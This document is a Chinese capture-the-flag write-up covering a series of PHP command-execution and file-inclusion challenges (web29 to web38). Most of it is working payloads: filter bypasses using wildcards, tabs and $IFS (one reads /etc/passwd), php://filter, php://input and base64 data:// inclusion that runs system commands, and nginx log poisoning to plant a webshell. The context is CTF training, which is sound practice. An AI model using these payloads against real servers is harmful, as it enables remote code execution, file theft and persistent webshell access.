web29
解答:eval可以执行php语句。
匹配字符串flag
,那么使用通配符、单引号(成对)等方式简单绕过。
payload:?c=system('cat fl*');
也可以:?c=echo `nl fl''ag.p''hp`;
进一步学习:
常用的读取命令:cat,nl,tac,more,sort
web30
解答:
源码过滤了system,可以采用passthru。
payload:?c=passthru("cat fl*");
依旧可以使用:?c=echo `nl fl''ag.p''hp`;
进一步学习:
php命令执行的函数:
system($cmd);
assert(php语句);
preg_replace($pat,$rep,$sub) //第一个参数,/e模式是要在正则匹配到特定特征的字符串直接当作php代码来执行,执行结果替换原字符
eval($str);
shell_exec($cmd);
exec($command, $output, $return_var)
passthru($cmd);
popen($cmd,mode);
proc_open();//详细用法百度吧
pcntl_exec();//如:pcntl_exec('/bin/bash','mv /tmp/test1.txt /tmp/test2.txt')
反撇号//(shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体)
web31
解答:过滤了空格和cat,那么改用tab代替空格。
payload:?c=passthru("more%09f*");
或者也可以利用无参数函数:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
进一步学习:
linux适用空格绕过:
<
、<>
、%20
(space)、%09
(tab)、$IFS$9
、${IFS}
、$IFS
、{cat,/etc/passwd}
、%0a
(回车)
内联执行:将反引号内命令的输出作为输入执行
cat$IFS$1`ls`
web32
解答: 源码过滤了分号,echo,反引号,单引号,括号,但是没有过滤双引号。
过滤了分号,那么可以直接?>
闭合php,因为php语法中,最后一句php代码可以不闭合(这里有一点要说一下,?>
闭合的是eval里面的php语句,eval后续还有语句的话,依旧是会执行的);
过滤了括号,就找不用括号的函数,php中include是可以不带括号的。include还可以实现文件包含。
payload:?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
原理大概就是,这里是传了两个参数,第一个参数c的内容include$_GET["a"]?>
,第二个参数a是不受后边匹配条件的影响。
include传参实现文件包含,利用php伪协议就可以读取flag.php文件。这里,也可以用$_POST,那么后续传参就通过post传参。
进一步学习:文件包含&伪协议
web33
解答: 过滤了双引号,那么就去掉双引号,直接加变量名。
payload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web34
解答:过滤了冒号。不影响。继续用上题的payload。
web35
解答:过滤了<
和=
,依旧不影响,继续用上题的payload。
web36
解答: 过滤了<
和=
,以及数字,依旧不影响,继续用上题的payload。
(数字过滤是因为可以用数字传参,$_GET[1],所以这里把数字过滤了)
web37
解答:本题直接提供了一个include函数,伪协议绕过。post绕过get匹配,或者用data然后进行base64加密等。
#payload:
?c=php://input
post:<?php system('cat flag.php');?>
#或者
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web38
解答:过滤了php,那么就用data协议,上题已给。
题目提示可以通过包含日志文件拿shell。
先传参看一下日志文件:?c=/var/log/nginx/access.log,然后传递木马信息。
查看一下日志文件是否已经写入。(下图不显示,其实已经代表写入成功)
然后蚁剑连接包含后的日志文件。(原理:因为当前页面本身就是php文件,文件包含后,包含文件中的php语句也可以被执行)